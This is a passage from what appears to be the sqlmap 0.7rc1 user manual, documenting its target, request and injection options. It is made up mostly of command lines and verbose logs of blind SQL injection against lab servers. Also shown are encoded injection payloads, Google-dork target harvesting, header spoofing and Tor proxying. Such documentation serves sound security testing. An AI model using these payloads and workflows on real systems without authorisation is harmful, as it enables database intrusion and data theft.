>     [hh:mm:04] [INFO] GET parameter 'id' is unescaped numeric injectable
> with 0 parenthesis
>     [...]
>  
[/code]

Example on a **MySQL 5.0.67** target \(verbosity level **3**\):

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 3
>  
>     [...]
>     [hh:mm:54] [INFO] testing connection to the target url
>     [hh:mm:54] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]
>     [hh:mm:55] [INFO] testing MySQL
>     [hh:mm:55] [INFO] query: CONCAT(CHAR(54), CHAR(54))
>     [hh:mm:55] [TRAFFIC OUT] HTTP request:
>     GET
> /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2854%29%2C%20CHAR
>     %2854%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201104=1104 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]
>  
[/code]

Example on a **MySQL 5.0.67** target \(verbosity level **4**\):

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 4
>  
>     [...]
>     [hh:mm:44] [INFO] testing connection to the target url
>     [hh:mm:44] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200):
>     Date: Thu, 11 Dec 2008 hh:mm:44 GMT
>     Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
>     X-Powered-By: PHP/5.2.6-2ubuntu4
>     Content-Length: 119
>     Connection: close
>     Content-Type: text/html
>     [...]
>     [hh:mm:45] [INFO] testing MySQL
>     [hh:mm:46] [INFO] query: CONCAT(CHAR(52), CHAR(52))
>     [hh:mm:46] [TRAFFIC OUT] HTTP request:
>     GET
> /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20CHAR
>     %2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%203030=3030 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]
>  
[/code]

Example on a **MySQL 5.0.67** target \(verbosity level **5**\):

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5
>  
>     [...]
>     [hh:mm:17] [INFO] testing connection to the target url
>     [hh:mm:17] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200):
>     Date: Thu, 11 Dec 2008 hh:mm:17 GMT
>     Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
>     X-Powered-By: PHP/5.2.6-2ubuntu4
>     Content-Length: 119
>     Connection: close
>     Content-Type: text/html
>  
>     <html><body>
>     <b>SQL results:</b>
>     <table border="1">
>     <tr><td>1</td><td>luther</td><td>blissett</td></tr>
>     </table>
>     </body></html>
>     [...]
>     [hh:mm:18] [INFO] testing MySQL
>     [hh:mm:18] [INFO] query: CONCAT(CHAR(51), CHAR(51))
>     [hh:mm:18] [TRAFFIC OUT] HTTP request:
>     GET
> /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20CHAR
>     %2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%202581=2581 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200):
>     Date: Thu, 11 Dec 2008 hh:mm:18 GMT
>     Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
>     X-Powered-By: PHP/5.2.6-2ubuntu4
>     Content-Length: 75
>     Connection: close
>     Content-Type: text/html
>  
>     <html><body>
>     <b>SQL results:</b>
>     <table border="1">
>     </table>
>     </body></html>
>     [...]
>  
[/code]

## 5.2 Target

At least one of these options has to be specified to set the source to get
target urls from.

### Target URL

Option: `-u` or `--url`

To run sqlmap on a single target URL.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1"
>  
>     [...]
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL >= 5.0.0
>  
[/code]

### Parse targets from Burp or WebScarab logs

Option: `-l`

Rather than providing a single target URL it is possible to test and inject on
HTTP requests proxied through Burp proxy or WebScarab proxy.

Example passing to sqlmap a WebScarab proxy `conversations/` folder:

>
[code]

>     $ python sqlmap.py -l /tmp/webscarab.log/conversations/
>  
>     [hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets
> list
>     [hh:mm:43] [INFO] sqlmap got a total of 27 targets
>     [hh:mm:43] [INPUT] url 1:
>     GET
> http://192.168.1.121:80/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
>     c58b3780562
>     Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3;
> phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
>     d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D;
> pmaUser-1=pInZx5iWPrA%3D;
>     pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci;
> pma_fontsize=deleted;
>     pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
>     do you want to test this url? [Y/n/q] n
>     [hh:mm:46] [INPUT] url 2:
>     GET http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
>     Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
>     do you want to test this url? [Y/n/q] y
>     [hh:mm:49] [INFO] testing url
> http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1
>     [hh:mm:49] [INFO] testing connection to the target url
>     [hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:50] [INFO] url is stable
>     [hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is
> dynamic
>     [hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
>     [hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
>     [hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:50] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0
> parenthesis
>     [hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter
> 'id'
>     [hh:mm:50] [INFO] confirming unescaped numeric injection on GET
> parameter 'id'
>     [hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable
> with 0 parenthesis
>     [hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
>     [hh:mm:29] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
>     [hh:mm:29] [INFO] testing MySQL
>     [hh:mm:29] [INFO] query: CONCAT(CHAR(57), CHAR(57))
>     [hh:mm:29] [INFO] retrieved: 99
>     [hh:mm:29] [INFO] performed 20 queries in 0 seconds
>     [hh:mm:29] [INFO] confirming MySQL
>     [hh:mm:29] [INFO] query: LENGTH(CHAR(57))
>     [hh:mm:29] [INFO] retrieved: 1
>     [hh:mm:29] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:29] [INFO] query: SELECT 9 FROM information_schema.TABLES LIMIT
> 0, 1
>     [hh:mm:29] [INFO] retrieved: 9
>     [hh:mm:29] [INFO] performed 13 queries in 0 seconds
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL >= 5.0.0
>     [...]
>  
[/code]

### Process Google dork results as target urls

Option: `-g`

It is also possible to test and inject on `GET` parameters on the results of
your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie
to be able to perform a search, then sqlmap will retrieve Google first 100
results for the Google dork expression with `GET` parameters asking you if you
want to test and inject on each possible affected URL.

Example of Google dorking with expression `site:yourdomain.com ext:php`:

>
[code]

>     $ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
>  
>     [hh:mm:38] [INFO] first request to Google to get the session cookie
>     [hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression,
> 59 of them are
>     testable hosts
>     [hh:mm:41] [INFO] sqlmap got a total of 59 targets
>     [hh:mm:40] [INFO] url 1:
>     GET http://yourdomain.com/example1.php?foo=12, do you want to test this
>     url? [y/N/q] n
>     [hh:mm:43] [INFO] url 2:
>     GET http://yourdomain.com/example2.php?bar=24, do you want to test this
>     url? [y/N/q] n
>     [hh:mm:42] [INFO] url 3:
>     GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
>     want to test this url? [y/N/q] y
>     [hh:mm:44] [INFO] testing url
> http://thirdlevel.yourdomain.com/news/example3.php?today=483
>     [hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:49] [INFO] url is stable
>     [hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
>     [hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
>     [hh:mm:53] [INFO] GET parameter 'today' is dynamic
>     [hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
>     [hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter
> 'today'
>     [hh:mm:57] [INFO] confirming numeric/unescaped injection on GET
> parameter 'today'
>     [hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
>     [...]
>  
[/code]

### Load options from a configuration INI file

Option: `-c`

It is possible to pass user's options from a configuration INI file, an
example is `sqlmap.conf`.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -c "sqlmap.conf"
>  
>     [hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
>     back-end DBMS:  MySQL >= 5.0.0
>  
[/code]

Note that if you also provide other options from command line, those are
evaluated when running sqlmap and overwrite the same options, if set, in the
provided configuration file.

## 5.3 Request

These options can be used to specify how to connect to the target url.

### HTTP method: `GET` or `POST`

Options: `--method` and `--data`

By default the HTTP method used to perform HTTP requests is `GET`, but you can
change it to `POST` and provide the data to be sent through `POST` request.
Such data, being those parameters, are tested for SQL injection like the `GET`
parameters.

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php"
> --method POST \
>       --data "id=1"
>  
>     [hh:mm:53] [INFO] testing connection to the target url
>     [hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:54] [INFO] url is stable
>     [hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
>     [hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
>     [hh:mm:54] [INFO] POST parameter 'id' is dynamic
>     [hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
>     [hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter
> 'id'
>     [hh:mm:54] [INFO] confirming numeric/unescaped injection on POST
> parameter 'id'
>     [hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
>     [...]
>     [hh:mm:54] [INFO] testing Oracle
>     [hh:mm:54] [INFO] query: LENGTH(SYSDATE)
>     [hh:mm:54] [INFO] retrieved: 9
>     [hh:mm:54] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:54] [INFO] confirming Oracle
>     [hh:mm:54] [INFO] query: SELECT VERSION FROM
> SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
>     [hh:mm:54] [INFO] retrieved: 10.2.0.1.0
>     [hh:mm:55] [INFO] performed 76 queries in 0 seconds
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS:    Oracle
>  
[/code]

### HTTP `Cookie` header

Option: `--cookie`

This feature can be useful in two scenarios:

  * The web application requires authentication based upon cookies and you have such data.
  * You want to test for and exploit SQL injection on such header values.

The steps to go through in the second scenario are the following:

  * On Firefox web browser login on the web authentication form while dumping URL requests with TamperData browser's extension.
  * In the horizontal box of the extension select your authentication transaction then in the left box on the bottom click with the right button on the `Cookie` value, then click on `Copy` to save its value to the clipboard.
  * Go back to your shell and run sqlmap.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php"
> --cookie \
>       "id=1" -v 1
>  
>     [hh:mm:37] [INFO] testing connection to the target url
>     [hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:38] [INFO] url is stable
>     [hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
>     [hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
>     [hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
>     [hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
>     [hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie
> parameter 'id'
>     [hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie
> parameter 'id'
>     [hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
>     [...]
>  
[/code]

Note that the HTTP `Cookie` header values are separated by a `;` character,
**not** by an `&`.

If the web application at first HTTP response has within the HTTP headers a
`Set-Cookie` header, sqlmap will automatically use it in all HTTP requests as
the HTTP`Cookie` header and also test for SQL injection on these values.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
>  
>     [...]
>     [hh:mm:39] [INFO] testing connection to the target url
>     [hh:mm:39] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/get_str.asp?name=luther HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.125:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
>     Connection: close
>  
>     [...]
>     [hh:mm:40] [INFO] url is stable
>     [...]
>     [hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is
> dynamic
>     [hh:mm:40] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/get_str.asp?name=luther HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.125:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     Cookie: ASPSESSIONIDSABTRCAS=469
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not
> dynamic
>     [...]
>  
[/code]

If you provide an HTTP `Cookie` header value and the target URL sends an HTTP
`Set-Cookie` header, sqlmap asks you which one to use in the following HTTP
requests.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
>  
>     [hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target
> url provided its
>     own Cookie within the HTTP Set-Cookie header. Do you want to continue
> using the HTTP cookie
>     values that you provided? [Y/n]
>  
[/code]

### HTTP `Referer` header

Option: `--referer`

It is possible to fake the HTTP `Referer` header value with this option. By
default no HTTP `Referer` heder is sent in HTTP requests.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer \
>       "http://www.google.com" -v 3
>  
>     [...]
>     [hh:mm:48] [INFO] testing connection to the target url
>     [hh:mm:48] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Referer: http://www.google.com
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]
>  
[/code]

### HTTP `User-Agent` header

Options: `--user-agent` and `-a`

By default sqlmap perform HTTP requests providing the following HTTP `User-
Agent` header value:

>
[code]

>     sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>  
[/code]

It is possible to fake it with the `--user-agent` option.

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
>       --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
>  
>     [...]
>     [hh:mm:02] [INFO] testing connection to the target url
>     [hh:mm:02] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
>     Connection: close
>     [...]
>  
[/code]

Providing a text file, `./txt/user-agents.txt` or any other file containing a
list of at least one user agent, to the `-a` option, sqlmap will randomly
select a `User-Agent`from the file and use it for all HTTP requests.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
>       -a "./txt/user-agents.txt"
>  
>     [hh:mm:00] [DEBUG] initializing the configuration
>     [hh:mm:00] [DEBUG] initializing the knowledge base
>     [hh:mm:00] [DEBUG] cleaning up configuration parameters
>     [hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file
> './txt/user-agents.txt'
>     [hh:mm:00] [INFO] fetched random HTTP User-Agent header from file
> './txt/user-agents.txt':
>     Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
>     [hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests
> through
>     [hh:mm:00] [DEBUG] creating HTTP requests opener object
>     [hh:mm:00] [DEBUG] parsing XML queries file
>     [hh:mm:00] [INFO] testing connection to the target url
>     [hh:mm:00] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
>     Connection: close
>     [...]
>  
[/code]

Note that the HTTP `User-Agent` header is tested against SQL injection also if
you do not overwrite the default sqlmap HTTP `User-Agent` header value.

Some sites perform a server-side check on the HTTP `User-Agent` header value
and fail the HTTP response if a valid `User-Agent` is not provided, its value
is not expected or its value is blocked by a web application firewall or
similar intrusion prevention system. In this case sqlmap will show you a
message as follows:

>
[code]

>     [hh:mm:20] [ERROR] the target url responded with an unknown HTTP status
> code, try
>     to force the HTTP User-Agent header with option --user-agent or -a
>  
[/code]

### Extra HTTP headers

Option: `--headers`

It is possible to provide extra HTTP headers by providing `--headers` options.
Each header must be separated by a "\n" string and it's much easier to provide
them from the configuration INI file. Have a look at the sample `sqlmap.conf`
file.

### HTTP `Basic` and `Digest` authentications

Options: `--auth-type` and `--auth-cred`

These options can be used to specify which HTTP authentication type the web
server implements and the valid credentials to be used to perfom all HTTP
requests to the target URL. The two valid types are `Basic` and `Digest` and
the credentials' syntax is `username:password`.

Examples on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" \
>       --auth-type Basic --auth-cred "testuser:testpass" -v 3
>  
>     [...]
>     [hh:mm:14] [INFO] testing connection to the target url
>     [hh:mm:14] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]
>  
>  
>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" \
>       --auth-type Digest --auth-cred "testuser:testpass" -v 3
>  
>     [...]
>     [hh:mm:54] [INFO] testing connection to the target url
>     [hh:mm:54] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     Authorization: Digest username="testuser", realm="Testing digest
> authentication",
>     nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
>     uri="/sqlmap/mysql/digest/get_int.php?id=1",
> response="16d01b08ff2f77d8ff0183d706f96747",
>     algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]
>  
[/code]

### HTTP proxy

Option: `--proxy`

It is possible to provide an anonymous HTTP proxy address to pass by the HTTP
requests to the target URL. The syntax of HTTP proxy value is
`http://url:port`.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
>       --proxy "http://192.168.1.47:3128"
>  
>     [hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
>     [hh:mm:37] [WARNING] the back-end DMBS is not MySQL
>     [hh:mm:37] [WARNING] the back-end DMBS is not Oracle
>     back-end DBMS:    PostgreSQL
>  
[/code]

Instead of using a single anonymous HTTP proxy server to pass by, you can
configure a Tor client together with Privoxy on your machine as explained on
the Tor client guide then run sqlmap as follows:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
>       --proxy "http://192.168.1.47:8118"
>  
[/code]

Note that `8118` is the default Privoxy port, adapt it to your settings.

### Concurrent HTTP requests

Option: `--threads`

It is possible to specify the number of maximum concurrent HTTP requests that
sqlmap can start when it uses the blind SQL injection technique to retrieve
the query output. This feature relies on the multithreading concept and
inherits both its pro and its cons.

Examples on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 \
>       --current-user --threads 3
>  
>     [...]
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL >= 5.0.0
>  
>     [hh:mm:18] [INFO] fetching current user
>     [hh:mm:18] [INFO] retrieving the length of query output
>     [hh:mm:18] [INFO] query: IFNULL(CAST(LENGTH(CURRENT_USER()) AS
> CHAR(10000)), CHAR(32))
>     [hh:mm:18] [INFO] retrieved: 18
>     [hh:mm:19] [INFO] query: IFNULL(CAST(CURRENT_USER() AS CHAR(10000)),
> CHAR(32))
>     [hh:mm:19] [INFO] starting 3 threads
>     [hh:mm:19] [INFO] retrieved: testuser@localhost
>     [hh:mm:19] [INFO] performed 126 queries in 0 seconds
>     current user:    'testuser@localhost'
>  
[/code]

As you can see, sqlmap first calculates the length of the query output, then
starts three threads. Each thread is assigned to retrieve one character of the
query output. The thread then ends after up to seven HTTP requests, the
maximum requests to retrieve a query output character with the blind SQL
injection bisection algorithm implemented in sqlmap.

Note that the multithreading option is not needed if the target is affected by
an inband SQL injection vulnerability and the `--union-use` option has been
provided.

### Delay in seconds between each HTTP request

Option: `--delay`

It is possible to specify a number of seconds to wait between each HTTP
request. The valid value is a float, for instance 0.5 means half a second.

### Seconds to wait before timeout connection

Option: `--timeout`

It is possible to specify a number of seconds to wait before considering the
HTTP request timed out. The valid value is a float, for instance 10.5 means
ten seconds and a half.

### Maximum number of retries when the HTTP connection timeouts

Option: `--retries`

It is possible to specify the maximum number of retries when the HTTP
connection timeouts. By default it retries up to three times.

## 5.4 Injection

These options can be used to specify which parameters to test for, provide
custom injection payloads and how to parse and compare HTTP responses page
content when using the blind SQL injection technique.

### Testable parameter\(s\)

Option: `-p`

By default sqlmap tests all `GET` parameters, `POST` parameters, HTTP `Cookie`
header values and HTTP `User-Agent` header value for dynamicity and SQL
injection vulnerability, but it is possible to manually specificy the
parameter\(s\) you want sqlmap to perform tests on comma separeted in order to
skip dynamicity tests and perform SQL injection test and inject directly only
against the provided parameter\(s\).

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 \
>       -p "id"
>  
>     [hh:mm:48] [INFO] testing connection to the target url
>     [hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:49] [INFO] url is stable
>     [hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:49] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
>     [hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter
> 'id'
>     [hh:mm:49] [INFO] confirming numeric/unescaped injection on GET
> parameter 'id'
>     [hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
>     [hh:mm:49] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
>     [...]
>  
[/code]

Or, if you want to provide more than one parameter, for instance:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
>       -p "cat,id"
>  
[/code]

You can also test only the HTTP `User-Agent` header.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v
> 1 \
>       -p "user-agent" --user-agent "sqlmap/0.7rc1
> (http://sqlmap.sourceforge.net)"
>  
>     [hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is
> not into the GET
>     [hh:mm:40] [INFO] testing connection to the target url
